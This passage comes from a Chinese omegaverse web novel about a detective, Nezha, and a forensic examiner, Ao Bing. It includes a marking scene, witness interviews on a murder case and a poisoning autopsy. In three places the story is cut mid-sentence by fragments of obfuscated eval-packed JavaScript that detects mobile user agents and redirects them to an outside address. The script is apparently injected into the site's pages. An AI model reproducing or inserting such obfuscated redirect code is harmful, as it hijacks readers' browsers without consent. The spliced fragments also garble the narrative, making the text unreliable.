哪吒不妥协,搭着的胳膊又收紧些:“不开了,本来就不是什么重要的会,我们都商量完后面的工作内容了,找个人走过过程汇报一下就行了,而且本来也不需要你们法医到场,老王这是给你没事找事,天天像这样大会小胡地走形式主义,那什么时候才能干活?” 敖丙被那熟悉的气息烧得脸都热了,推不开哪吒只能自己拼命扯着脖子想要离远一点。 而且哪吒的手臂已经反复蹭过他的腺体,这让他愈发想要逃开。 “你别靠这么近啊。” 哪吒含笑又往前凑了凑,几乎全身的重心都转移到环着敖丙肩膀的胳膊上,他甚至凑到敖丙脸颊旁,语气轻柔又暧昧:“这就近了吗?” 他们明明有过更近距离的接触。 侧面的视线目光灼灼,敖丙不敢扭头,脸上的温度直线上升,直视着前方怨念道:“你好烦哦。” 哪吒最终还是什么都没干,默默收回了手站直身体,只是脸上的笑意更加明显。 反正他们才认识一天,哪怕是试探也不急于一时,而且哪吒也能察觉出敖丙并不排斥他的靠近。 “走吧,吃饭去,晚上想吃什么?” 敖丙理了理肩膀处被弄得乱七八糟的头发:“我习惯晚上不吃了。” “那不行。”哪吒说,“怪不得你老是晕倒,以后晚饭必须吃。” 哪有老是。 敖丙不满地小声嘀咕,但不敢大声反驳,想也不想就知道哪吒到时候会念叨多久。 敖丙背过头不看哪吒了。 烦人。 “去吃点清淡的,反正不能不吃。”哪吒左手熟练地抓过敖丙手腕,以防人逃跑,右手拿着手机看周边的饭店情况,问,“你会做饭吗?” “不会。” 哪吒:“哦。” 哪吒心想,他也不会,那他俩以后要是在一起了,自己得去学做饭了。 不过哪吒对自己的厨艺不是很自信,毕竟是小时候半夜偷偷泡方便面都会炸厨房的厨房杀手。 6.他认出我的第一天 >>>>>>>>> 11. 哪吒第二天比往常早出门了一些,他得绕路去接敖丙一起。 虽然这个提议前一晚送敖丙回家时已经被拒绝了,但李老三有他自己的道理。 只是昨夜研究案情太晚,今早起来哪吒就觉得太阳穴隐隐作痛,而且信息素有逐渐不受控的倾向。 距离上次易感期也过去了好几个月,但是以防万一,哪吒出门前还是给自己补了针抑制剂。 哪吒将车停在敖丙家楼下不过三四分钟,敖丙就出现在了一楼楼道口。 他显然是认出了哪吒的车,脚步顿了顿还是走过来。 敖丙走到车边敲了敲窗示意哪吒给他开门,随后还是无奈坐了进去,“不是说了我们在李青岩家楼下集合吗?” 他们住的地方离得并不近,而且李青岩家几乎是夹在他们两家中间的。 哪吒声音听上去有点恹恹的:“顺路而已。” 敖丙朝他看了眼,愣了下。 哪吒黑眼圈乌黑乌黑的,眼底也尽是血丝,脸色看上去也是十分糟糕。 “你昨晚熬夜研究案子了?” 哪吒捏了捏鼻梁想缓解一下不适,皱眉道:“彼此互害最终完成无人生还的闭合,我还是觉得不会有那么巧的事,所以我睡前就把提交上来的报告又仔细研究了下。” 太阳穴又跳了跳,哪吒眉头皱得更紧。 狭小的车厢内,哪吒的信息素控制不住地肆意侵占。 早已融入血液的熟悉气息再度涌来,敖丙脸色不自然地抿唇,提醒道:“你的易感期是不是……” 哪吒“嗯”了声,喉间发出不舒服的轻哼:“我早上打过抑制剂了,可能不够,我再补一针。” 哪吒又说:“你先下车等会。” 敖丙:“要不要标记我试试?” 两人几乎是异口同声。 听到对方话的瞬间,两人都是一愣。 敖丙也反应过来自己在说什么,红着脸解释道:“抑制剂本来就治标不治本,只能短暂缓解你易感期的不舒服,如果不标记别人的话,你只能尽量把自己隔离起来不和别人接触。” “而且,我觉得你第一针抑制剂失效,或许不是没打够。”敖丙的声音越来越小,犹如蚊呐。 是因为,他们的匹配度太高了,于是普通的抑制剂已经管不住顶级Alpha的信息素了。 这就相当于是从奢入俭难。 哪吒咬了下牙:“你先下车等我下。” 他还就不信战胜不了本能反应了。 敖丙低声嘀咕了句:“又不是没标记过。” 他是不明白哪吒在纠结什么,不过还是推开了门,准备下车。 只是下一瞬,他的手背被一只滚烫的大手抓住。 “我还以为你不愿意提起那次。”哪吒手上一用力,将敖丙又拽回副驾驶,他倾身向前靠近敖丙,另一只手顺便将车门关上,“咔哒”一声上锁。 敖丙瞪圆眼睛:“什么?” “明明是你不记得了,我才不提的。”敖丙颇有些气上来了。 不然那种事只有他一个念念不忘,多丢人啊。 哪吒皱眉:“我什么时候不记得了?” “……你当时中了药,神志不清甚至记不住很正常。” 哪吒哭笑不得:“所以,你是觉得我第二天早上起来会把事情忘得干干净净才跑的?” 敖丙脸色迟疑一瞬,垂下眼想要躲开哪吒的视线,倒也不全是因为这个。 可昨天再见,他伪声想要骗过哪吒确实是因为逃跑以后更加不想被认出来的缘故。 “敖丙,你听清楚了。”哪吒声音很轻却很坚定,敖丙直直看向他,“那天我没有一刻神志不清过。” “那天晚上我会做出那样的选择,是因为你,如果当时在现场的是别人,我之后只会出现在医院里。” “我当时是在非常清醒的情况下做出了遵从本心的选择。” 突如其来的坦白让敖丙愣住,他直愣愣地看着哪吒直白且滚烫的眼睛。 哪吒的声音还没停住:“敖丙,我知道你还有秘密,为什么逃跑、为什么装Beta,我本来是想慢慢靠近你的,慢慢得到答案的。” “可是,我现在想问你,你愿不愿意这桩案子结束后和我好好聊聊?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110614|163095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >哪吒所有一切想要徐徐图之的君子做派都被敖丙的一句“标记我”击得粉碎。 敖丙在哪吒的注视下轻轻点头,又用很轻的声音说:“那天晚上,我也是……遵从了自己的选择。” 声音落下的下一瞬,敖丙整个人被搂着腰带离了副驾驶,天旋地转后,敖丙发现自己正对着哪吒坐在了他的大腿上。 他下意识地往后一躲,却只能抵着方向盘。 “丙丙,我不想用抑制剂了,那玩意扎腺体上好疼。”哪吒用撒娇的语气轻笑着,“我想标记你,可以吗?” “你咬我,我也会疼的。” “那我轻点。”哪吒将敖丙紧紧搂紧怀里,犬齿反复蹭上他后颈的脆弱点。 犬齿咬破腺体的一瞬间,敖丙本能地挣扎,却被哪吒不轻不重按得稳稳的,Alpha强烈的信息素近乎是侵略般的攻城略地。 可是接触到Omega柔软的信息素后却又被安抚了下来,极尽温柔。 漫长的标记结束后,敖丙才缓缓回神,后颈依旧被温柔地舔舐着,让他逐渐生出些旖旎的心思。 随后他感觉到身下某处不容忽视的存在。 敖丙:“你……” 哪吒一点儿也不觉得丢人,挑眉反客为主:“你应该了解过了,我是个非常正常的Alpha。” 深有一天一夜体会的敖丙:“……” 哪吒轻笑了下,捏了下敖丙的脸,目光灼灼地盯着他,问:“我想抱你一下,可以吗?” 敖丙盯着他的眼睛:“……只想抱吗?” 哪吒喉结滚了下,没说话。 不只想抱,还想亲,甚至想要更加亲密的接触,可是没名没分的第二次标记已经很出格了,哪吒不想更过分了。 敖丙凑上去,吻住了明明平时最不爱守规矩,但这会儿却又扭捏起来的某人。 呢喃间,他呼吸急促地说:“我也是想亲你的。” 回答他的是,按在后颈更加用力的手。 一个小时后,当哪吒的车停在李青岩家楼下时,哪吒和敖丙分别从驾驶座和副驾出来,有人在意的角落他们都换了条裤子,而敖丙的裤子明显大了几码。 7.他认出我的第二天 >>>>>>>>> 12. 哪吒和敖丙一道上了楼,杨流月家在三楼。 哪吒敲了门后,刚失去丈夫的女人很快就来给他们开门了。 杨流月眼底乌青满脸憔悴,可见昨晚并没有睡好:“你好,李警官。” “抱歉打扰了。”哪吒指了指敖丙,介绍道,“这位是我们局里的法医,敖丙。” 杨流月和敖丙打了个招呼,然后将两人领进客厅沙发坐下,给他们倒了两杯水,在一旁的单人沙发坐下。 她语气听上去没什么波澜,“你们有什么要问的可以问,或者想看看家里有什么线索也可以自便,他生前的东西我都整理得差不多放在客房里了。” 哪吒也开门见山,拿出另外几名死者的照片,问:“杨女士,我们确实有几个问题想要问你。” 杨流月点头:“好。” “这几个人你确定没见过吗?我们昨天确实已经问过了,不过当时时间紧而且你情绪起伏也比较大,我们还是希望你仔细想一下。” 杨流月闻言拿起其中一张照片,仔细端详。 这期间,敖丙和哪吒眼神示意了下,随即站起来,进了客房。 李青岩的东西并不算多,除了必要的日常用品外,就只剩几套登山装备了。 这和哪吒他们昨天查出来的信息是符合的。 李青岩大部分的衣服都是大众牌子,敖丙一件件翻过去,但还是认出来几件小众的轻奢品牌,衣服风格和李青岩的不太一样。 敖丙又去看了圈堆在角落的登山装备,记下几个牌子。 他视线在屋内转了一圈,落在书桌上的一个大箱子。 敖丙打开箱子才发现里面的东西并不是李青岩的,而是他父母的。 箱子里包括了李青岩父母某次的体检记录,还有一本相册、相框、一些零散的小物件。 相框里是李青岩的父母一左一右牵着一个十几岁的小朋友,看五官轮廓大约是小时候的李青岩。 一家三口都笑得很松弛。 看上去关系很好。 敖丙又分别翻了翻李青岩父母的体检记录,随后出门,去了对面的卧室。 客厅里杨流月已经看到了第三张照片,过了一会她放下照片,摇头:“看来我是真的一点都不了解他。” “我确实认识李青岩的几个朋友,不过大多都是大学里的同学,这几个人我真的从来都没见过,是不是后来工作时认识的我就不清楚了。” “李青岩的衣服平时是谁买的?”敖丙看完两间卧室,又出来客厅。 杨流月看向敖丙:“我只在大学和他谈恋爱的时候给他买过几件,后来那些衣服不合尺寸他就很少穿了,他现在穿的应该都是他自己买的。” 敖丙拿出手机,给她看自己刚才拍的几件衣服:“这几件呢?” 杨流月看了眼,摇头:“应该是他自己买的吧,我见他穿过。” 敖丙又问:“李青岩和他父母的关系是不是很好?” “这倒是真的。”杨流月没有片刻的迟疑,很快给出答案,“李青岩他妈妈死得早,他跟他爸关系很好,之前李青岩不忙的时候几乎是隔两天就要打电话回去和他爸聊天,虽然通话时间都不是很长,但是打得很频繁,我听过一两次聊天内容,就是很正常的家长里短身体问候之类的。” “而且周末有空的话,他一般都会抽半天去看他爸。” 这家庭关系几乎可以用非常融洽来形容了。 以哪吒本身举例,他和父母关系也很好,但平时很少会这么频繁交流。 当然一方面是哪吒和李靖是一个系统的上下级,工作上的事上楼敲个门就行,私事也可以等下班的时候交流。 另一方面哪吒是个生活可以自理的成年人,和父母都各有自己的生活,实在没必要过于频繁地联系。 更别说很多家庭里父母和孩子之间的代沟相当严重,别说和平相处了,说两句话就能炸锅。 因此李青岩和父母的关系这么好,确实很少见。 哪吒问:“你对李青岩父母了解的多吗?” 杨流月刚要说话,敖丙的手机就响了,他只好和哪吒视线交流了下,拿着手机出门。 “李青岩父亲是个老实人,对我也挺好的,他年轻的时候是在厂里上班的,后来退了休就靠养老保险过日子。”杨流月想了想,“他刚退那阵子本来摆了个夜摊卖炸串赚外快,后来李青岩就劝他不要那么辛苦,让他别摆摊了,其他别的也就没什么了。” 哪吒朝门口看了眼,敖丙出去后大门就一直虚掩着没关:“那今天就先到这里吧,如果你后面还能想起来什么,记得联系我们。” 哪吒站起来,准备离开。 “好,李警官,我送你出去。”杨流月将哪吒送到门口,突然想到什么,连忙说,“哦对了,我想起来李青岩父亲好像有个妹妹,也算李青岩姑姑吧,不过他们关系并不好,逢年过节从不走动,我唯一一次见李青岩他爸生气,就是对他姑姑一家。” 哪吒点头:“好的,谢谢,如果后面你还能想到什么,记得随时联系我们。” 门外敖丙站在安全通道的门口,刚挂上电话,收起手机就看到哪吒出来了。 “要回去了吗?” 他问。 哪吒摇头,给阿瑶打了个电话,让她查一下李青岩姑姑的信息,在打电话期间,哪吒自然地牵着敖丙的手腕进电梯。 电梯到一楼时,哪吒也挂了电话,他无奈耸肩:“可能暂时回不去,李青岩有个姑姑,我想去拜访一下。” 敖丙说:“那我得先回去了,王主任说有新的尸体,法医室人手不够,要我回去帮忙。” 两人出了电梯,又出单元楼,最后在停车场附近的小花园停住脚。 哪吒虽然不情愿,但也不得不放人,他顿了下,朝敖丙靠近几步。 “我怕是赶不及回去了,等会回去以后好好吃饭听到没?”哪吒敲了敲敖丙脑门,叮嘱道。 敖丙本想应声,转念一想还是语气严肃地开口了:“哪吒,我是个成年人了,我不需要像看孩子那样事无巨细的照顾,我不喜欢这样。” 敖丙眉间拧着,神色不似平时那样软和。 哪吒认识敖丙后其实很少见他起情绪,有些猝不及防。 一向精通察言观色,审讯功底一流的刑侦精英也难得有抓不准的时候:“你生气了?” 敖丙也没想和哪吒绕弯子,点了点头:“有一点吧。” 明明在遇见哪吒之前,他也平平安安活到了二十多岁,可是哪吒这样过度的关照,会让他感觉自己是个笨蛋。 敖丙的妈妈虽然离世得早,但父亲很疼他,两个哥哥以前在国内的时候对他也很好。 长大后身边也有朋友的关系和照顾,可是对敖丙来说,这些都只是阶段性的、社会化必要的一部分罢了。 可是哪吒和那些人不一样。 敖丙第一次想从一个非亲属身上得到关注。 所以他对哪吒的关心很受用。 只是哪吒哪里都好,偶尔流露出来过分的大男子主义让敖丙不是那么舒服。 与其等那些不舒服慢慢积攒成更多的负面情绪,不如早点说出来。 敖丙说完也是忐忑的,他也怕哪吒会不会因为自己的敏感生气。 哪吒后知后觉才意识到自己的问题,语气低了低,带了点讨好的意味:“抱歉,我之前可能确实有点没把握好分寸,那我和你道歉好不好?” 敖丙也像是也被哪吒的反应惊到,微微睁大眼睛看向哪吒。 敖丙湛蓝的瞳孔里满是迷茫,一副状况外的样子。 他还以为他们会因为性格不合大吵一架,然后一拍两散各自忙工作,等到忙完了两个人再装作没有隔阂的样子重新相处。 ……至少电视剧里都是这么演的。 “敖丙,我是第一次喜欢一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137424|163095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以我有时候可能会把握不好分寸,如果我以后还有哪里做的不好的地方,你一定要告诉我,我会改的,好不好?”哪吒耳根也有点红。 他既紧张又忐忑,眼神不自然地闪躲着。 什、什么!?? 敖丙瞬间脸红得像是要烧起来一样,脑子里空空一片。 这是告白吗? 他需要回应吗? 不过,这好像也不算表白吧。 敖丙勉强让自己冷静下来,红着脸看向哪吒:“没有了,哪吒,你很好的。” 下一刻,Alpha的信息素扑面而来。 哪吒紧紧将敖丙抱在怀里。 “你别这么说,我要翘尾巴了哦。”嘴角有些压不住了,哪吒的声音听上去带着嘚瑟的笑意。 敖丙被他笑得有些不好意思,红着耳朵锤了下哪吒的背:“不准笑了。” “嗯嗯,不笑了。”哪吒从善如流地应道,脸上的笑意丝毫未减,“敖丙,你也很好很好的。” 敖丙:“……” 他脸上更红,推了推哪吒:“我要回局里了。” Alpha丝毫未动。 在易感期里的Alpha有些受不了即将要和自己的Omega分开,将脸埋进敖丙肩膀处狠狠吸了两口。 哪吒低声抱怨道:“敖丙,我真的好累,我不想查案子了,我想回家,躺在床上一觉睡到天亮,睡他个四五六天的。” 肩头被Alpha呼出的热气弄得有些痒,敖丙抬手环住哪吒,轻轻拍拍他的背当是安抚:“辛苦了,那今天不许你加班了。” 哪吒没说话,默默收紧双臂,将敖丙抱得更紧一些。 易感期里的Alpha黏人得有些过分了。 敖丙温柔地哄小孩似的:“我真的要回去了,不然等会王主任该骂我了。” 事实上王主任脾气很好,又惜才,从来没有对任何人发过火,再加上敖丙专业知识扎实又听话懂事,王主任供着他还来不及。 “他敢骂你,我把他法医室拆了。”哪吒磨了磨牙,松了松手上的力道。 敖丙笑了,终于把哪吒推开:“好了,你也赶紧去忙吧,不过你们出任务不都是要两个人吗?我要帮你喊谁过来吗?” “不用了,我等会去找相应片区的民警就好。” 敖丙点头,语调轻柔继续哄人:“那如果后面还有需要我的地方,记得联系我。” 哪吒耐心回应:“嗯。” “还有,哪吒,”敖丙停顿了下,“不管查到什么都不要涉险。” 敖丙声音逐渐变小:“我……会很担心你的。” 哪吒的手搭上敖丙后颈,不等敖丙做出反应,轻柔地在他嘴角落了个吻。 带着Alpha浓烈却又没有攻击性的信息素味袭来。 心跳声再度失衡。 敖丙有一瞬间耳畔只剩下自己心跳的噗通声。 这个吻太过蜻蜓点水,明明像风一样一下子就消失了,却又比那些令人面红耳赤的接触更加让人心动。 哪吒终于迟迟地给出了回应:“好。” 阿瑶的电话也是这时候打过来:“队长,找到李青岩姑姑的消息了,她叫……” “你把她的信息发给我就行,没事先挂了。”哪吒声音凉凉的。 被火速挂断电话的阿瑶:“?” 哪吒从口袋里掏出车钥匙,在空中抛了下又接住,想要给敖丙留下一个帅帅的印象,而后面无表情酷酷地看向敖丙:“这回真走了,你记得叫车回去。” 得赶紧把案子结了,再有人影响他谈恋爱,他要杀人了。 “路上小心。”敖丙轻笑,“还有,别装。” 哪吒酷酷地离开没有说一句话,谁料快走到车门旁的时候,被不知道哪来的石子绊了一跤,踉跄着扶了把车门才稳住身体。 哪吒骂骂咧咧坐进车里,恶狠狠地磨牙:“明天就找交警把这儿路给封了。” 8.他认出我的第三天 >>>>>>>>> 13. 李青岩的姑姑叫李婉,家住城西,已婚,和老公育有一子。 哪吒出发的时候就联系了管辖区的派出所,等他到李婉家楼下的时候,民警已经在防盗门前等着了。 民警见哪吒下车,立刻绷直身体打招呼:“李队。” 哪吒朝他点头,路过他时并没有停留,径直朝单元楼走过去:“嗯,先不寒暄,上楼吧。” 城西大部分都是上个世纪的老式居民楼,并没有安装电梯,两人只好走楼梯爬上五楼。 爬楼的间隙,民警告诉哪吒自己姓周。 周警官在来之前就和李婉联系过,问到她和李青岩父亲关系时,她很快挂了电话,后来再拨就直接占线了,可真等到哪吒敲门,李婉还是很快来开门了。 李婉大约身高一米六左右,体型偏瘦,烫着一头棕色波浪卷,色泽不像是普通染发店的劣质染发剂,没有化妆但可以看出气色不错。 “李婉是吗,我们是警察。”哪吒出示了自己的证件,“有一些事情想要问问你。” 李婉扫一眼哪吒的证件,神情淡漠地点头,她看上去不是很情愿,但本着不愿和警察发生冲突的原则,还是领两人进了门,将他们安置在客厅坐下。 “坐吧,家里没什么好茶,就不招待两位了。”李婉直接就在两人对面的沙发坐下了,颇有一种两分钟后就要送他们出门的味道。 哪吒默不作声打量了一下李婉家的客厅,相较于杨流月家,李婉家更加生活气,小孩的校服还搭在沙发把手上,客厅的茶几也乱七八糟堆了几本书,家具摆设也更加平民,扫视一圈后哪吒收回视线,问:“李志刚是你哥哥?” 李志刚也就是李青岩的父亲。 李婉点头:“是。” “那刚才我们片警给你打电话问你和李志刚关系的时候,你为什么挂电话?”周警官厉声追问。 李婉耸耸肩,带着点事不关己的态度语气凉凉的:“他人都死那么久了,本来也和我没关系了,我这不是也怕摊上事吗?” 哪吒仔细打量她说话时的神情,发现她十分坦然,丝毫不掩饰自己与李志刚关系很差这件事。 “李青岩死了。”哪吒语气平淡地放出这个重磅消息。 屋子里的空气几乎在瞬间凝滞,李婉整个人都懵了,脸上闪过太多复杂的情绪,最终陷入长久的错愕之中。 再怎么说她和李志刚曾经也共同生活过,虽然后来闹得很难看,可是哪怕不难过不伤心,感慨还是有的。 哪吒并未立刻出声喊醒她。 过了好半天,李婉才回过神,似乎有些怅然,嗓音干涩地问:“他怎么死的?” “这个我们还在调查中,暂时不方便告知。”哪吒继续问,“李青岩的父母都已经离世,他和他的妻子关系也不融洽,我们找不到与他更亲的人了,只剩下了你这个姑姑。” 李婉撩了下头发,自嘲地笑了笑:“那你们可能找错人了,我和李青岩更不熟。” “没关系,我们随便聊聊就行。”哪吒并没有放弃,话锋一转,“我听李青岩的妻子说,你和李志刚一家的关系不太好,可以说说吗?” “李青岩的妻子?”李婉有些想不起来这个人了。 她闻言眯起眼睛打量了一下面前的两位警察,一位黑发红瞳,身型颀长皮肤也很白,长得俊美逼人,浑身遮掩不住的Alpha气息,听他说话那种不容置疑的口气,就知道他生活的环境对他有多纵容。 而另一位虽然气息很弱,但也能看出来是个Alpha。 “我抽根烟不介意吧。”李婉从口袋里掏出一盒烟,抖出一支,点了打火机叼上,“你们知道这世界上生存最艰难的是哪种人吗?” 哪吒和周警官还没来得及说话,李婉接着说:“不是Omega,Omega尚且还有靠信息素找个好归宿这一条路,而且现在Omega保护法这么全面,生存难度更是直降。” 李婉叹息道:“真正难以生存的,是我们这种只能靠自己的Beta女性。” 现阶段世界上人数最多的群体还是Beta,占了总人数的75%,他们没有信息素,肉..体上也没有任何优势,一向处于社会中的中下层,做着最基层最普通的工作,上升渠道永远不会对他们放开。 “我们家不是什么富裕的家庭,而且祖祖辈辈都是Beta,之前我爸妈手上有两套房子,本来说是以后给我和李志刚平分,那时候家里关系一直不错,所以哪怕爸妈多多少少偏心一点我哥,不过反正到时候房子平分,我也不吃亏就忍了。 直到李志刚的孩子出生了,居然是个Alpha。”李婉逐渐咬牙切齿起来,“我爸妈知道后喜出望外,说我们一家翻身都靠这个Alpha了,原本答应给我的房子也不给了,说一套要留给小孩以后结婚用,另一套到时候卖了送他出国留学。” 李婉呼吸有些重,嗓音哽咽起来,她本以为脱离那个家庭,将以前的记忆丢进垃圾桶她就不会再受到伤害,可是再回忆起来,委屈难受还是扑面而来: “那个时候李青岩才1岁左右,我知道以后就去问我爸,他说给我补几万块钱让我不要闹了,我当时气了半死和他们吵了很久,李志刚更是恶心,他看着老实,先劝我收下那几万块,然后说实在不行让他儿子给我养老。” 李婉深吸一口气,差点被气笑了,嘴角勾起一抹嘲笑:“难道我生不了孩子吗?” “后来闹了好几年都没个结果,我就看清这家人了,从家里搬出来自己过日子,也算是和他们断绝关系了吧,逢年过节都没有联系了。”李婉顿了下,“大概是前几年我母亲去世的时候,李志刚联系我说我妈好歹拉扯我十几年,让我尽点孝出丧葬费,我又和他吵了一架,后来不欢而散,我也就把他拉黑了。” 李婉叼着烟,烟雾朦胧了她的脸,声音也很含混。 哪吒:“可是李青岩没有出国留过学。” 李婉对李青岩的事并不感兴趣,面无表情地耸肩:“这我就不知道了,反正两套房子最后都给了李志刚一家,他们要怎么办是他们的事。” “我们听说李青岩和他父母感情非常要好,也是因为这个吗?”哪吒继续问。 李婉挑了下眉,回想了下答:“这倒不是,李青岩从小就很懂事也很孝顺,他初中小学的时候没有零花钱,但是会自己帮同学写作业记笔记之类的攒钱给他爸妈买生日礼物。” 说到这里,李婉叹了口气:“要是我儿子有他一半懂事就好了。” “不过,说起来有点奇怪……”李婉皱眉,“李青岩小时候,大概七八岁的时候生过一场重病……” >>>>>>>>> 14. 另一边,敖丙回到局里后,立刻开始了工作。 解剖台上是一大一小两具尸体,大人是个男性Omega,大约三十来岁,小孩是个男孩子,莫约五六岁。 两具尸体皮肤黏膜皆呈现樱桃红色,脸上很是安详没有任何痛苦痕迹,犹如在梦中一般。 这是典型的一氧化碳中毒症状。 而除此之外,两人身上还有很多其他的伤痕,青青紫紫的,看着都是擦伤撞伤,有的甚至留了疤。 大人的伤势更重一些,敖丙解剖的时候发现他的肋骨甚至有断裂的旧伤,小腿也有骨折的痕迹。 “这是什么……情况。”敖丙带着口罩,声音有些迟疑与沉闷,“一氧化碳中毒?” 王主任叹了口气点头:“差不多吧,造孽啊。” 两人手上动作都没停,王主任给他详细介绍了下案情。 这桩案子的尸体是一对父子,男性Omega和他的儿子,报案人则是该Omega的哥哥。 据报案人所说,是他侄子的幼儿园老师今天没接到小孩上学,而且他弟弟的电话打不通,这才联系上他这个紧急联系人的。 报案人接到电话后就立刻赶了过来,用备用钥匙一开门就发现一屋子的煤气味,而主卧里的两个人都已经没气了。 本来这种意外中毒案一般不会交到法医室,是报案人坚称这绝对是谋杀案,而且凶手是他弟弟的丈夫,案子这才往上移交。 根据报案人提供的线索,他弟弟和丈夫关系并不好,经常吵架,殴打虐待更是家常便饭,后来怀孕生了孩子有过一段缓和时间,不过好景不长,后来父子俩一起成了被家暴的对象。 王主任和敖丙吐槽道:“死者的丈夫昨晚加班没回家,已经被刑警那边抓回来了,你知道他为什么打老婆打孩子吗?” 敖丙摇头:“不知道。” “他妈的他说他是A型血,死者是B型血,不可能生出O型血,说死者给他戴绿帽子!”王主任甚至爆了粗口。 王主任一毕业就进了市局的法医室,这么多年形形色色的人见得多了,他也知道一些常识并不是所有人的常识,文化高低会影响见识水平。 他们当警察的能不和人民群众发生争执就尽量自己憋着,因为眼界引起的争端毫无意义,还会给人一种高高在上的姿态,可每次当他遇到这种让人血压升高的人时还是会忍不住发怒。 敖丙手中的金属刀一顿,在法医室的白炽灯下反射出刺眼的光。 敖丙也颇有几分怒意,可他天生内敛,情绪很少外泄,于是依旧语气平静地分析:“A型血分为AO和AA,B型血分为BO和BB,如果他们夫妻两个人是AO和BO,是有几率生出O型血的。” 他顿了下,联想到哪吒手中的案子,以及他之前刚看过的李青岩一家的资料,又补充:“就像Beta和Beta有概率生出Alpha或者Omega一样……” 说话间,有什么灵光突然在脑海里闪过,敖丙敏锐地反应过来想抓住那道光却已经迟了。 他有些懵懵地愣在原地。 “怎么了,敖丙,又不舒服了?”王主任见敖丙动作迟滞,担心地问。 敖丙甩甩头,不想让错过的东西影响眼下的工作:“我没事,继续吧。” 等到尸体完成缝合后,已经过去了两个小时。 “行了!大功告成!”王主任给小朋友的尸体缝得格外仔细认真,又把各种材料交给申小豹,“行了,小豹,赶紧送去检查。” 刚实习的小孩就是勤奋,一溜烟就跑没了影:“好嘞!” 昨天尸检了四具尸体,今天一早就出了外勤,这会又解剖两具尸体,高强度的连轴转让敖丙的手腕又酸又僵。 他放下银质刀具,揉了揉发僵的手腕。 王主任又喊敖丙一起将两具尸体塞进袋子里,推进柜子保存好。 “行了,敖丙,休息去吧,你来之前我给你订好盒饭放你办公室了。”王主任拍拍自己的腰,抱怨道,“这一天天的,哪这么多人能死啊!” 敖丙应声:“好,谢谢王主任,您辛苦了。” 敖丙揉着手腕,目送王主任离开。 他垂下眼,不知道为什么,他居然有点想哪吒。 在想,如果哪吒看到他现在揉手腕的场景,会不会笑盈盈走过来笨手笨脚地替他揉……然后用格外温柔的语气逗他,说什么“自己是第一次替人按摩之类的……” 敖丙抿了下唇,闲下来以后就觉得有些饿了,甚至都开始胡思乱想了,他晃了晃脑袋,试图甩掉这些乱七八糟的想法,然后想起昨天低血糖时哪吒喂他吃的水果糖,又去翻柜子。 劣质的草莓香精味很快充斥口腔,敖丙皱了下眉,觉得齁得厉害。 敖丙莫名其妙地看着自己手中的透明糖纸,他到底在做什么,他明明没那么喜欢吃糖…… 大脑告诉他这会应该回办公室吃饭了,可敖丙缺走到法医室门口旁边的架子上拿出手机。 他想给哪吒打电话。 然而电光火石之间,之前错过的念头完完整整出现在了脑子里,他连忙去拿之前李青岩的死亡报告,又打开手机相册,确认完信息后,他把电话打给哪吒。 电话那头几乎是立刻接通了: “喂,敖丙,你吃……” 敖丙正色打断了哪吒的寒暄:“哪吒,我有一个发现!” 哪吒一愣:“怎么了?” “李青岩的父母一个是B型血,一个是O型血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么,这是查岗吗……”哪吒揶揄地笑道,然而后半句话明显还没说完就顿住了。 敖丙疑惑地问,视频那头的页面动了动,只能看见哪吒的一小个额头了:“哪吒?” 哪吒声音轻微地抖了抖,但还是在强装镇定,随后那边响起翻东西的声音:“怎么了?” 敖丙没被他带偏:“是我要问你怎么了!” “我没事,刚才踢到石头了,脚疼。” 敖丙一点也不信,俨然一副不准哪吒混过去的模样:“不对,重新说。” 敖丙目光盯着屏幕,对面的视角已经变成了一片蓝天:“好好说,不准骗我” 另一边,哪吒半弯着腰捂着胃直抽气,却被敖丙严阵以待的语气逗笑了:“真没事,我就是胃病犯了,这不是今天太忙了吗,还没来得及吃饭。” 刑警身上大多有些毛病,有的是致命伤,有的膝盖腰肌有问题,一过度劳累或是到了阴雨天就疼,哪吒倒没那么多毛病,只是前几年因为熬夜查夜作息不规律得了胃病。 “你……!”敖丙无语,不知道自己该生气或者怎么样,他埋怨,“明明叮嘱我的时候一套一套的。” 敖丙因为他双标的行为变得气鼓鼓的:“那我也不要听你的了。” “别啊。”哪吒单手找到了药,囫囵吞下,拿着矿泉水咬开瓶盖喝了一口将药咽下去,他又把自己那张可以下海挂牌的脸怼进屏幕,才连忙道,“那这样好了,敖丙你管我吧,好不好?” “我以前没人管才落下的毛病,敖丙,你管管我吧。”哪吒笑盈盈地看着敖丙的脸一寸寸变红,“你管我,我管你,怎么想都很公平,对不对?” “到刑警队了,你正经点。”敖丙睫毛抖了抖,垂眼看他,选择无视他的话题。 随即里面在走动的陈耀东立刻看见了敖丙:“敖法医?是有什么新发现吗?” “不是,是哪吒……”敖丙把视频界面给陈耀东看。 陈耀东还在啃包子,见状笑了,拿一只空着的手戳了戳屏幕:“呦呦呦,这谁啊,恶名远扬的陈塘关刑侦大队队长,作恶太多被收了?” 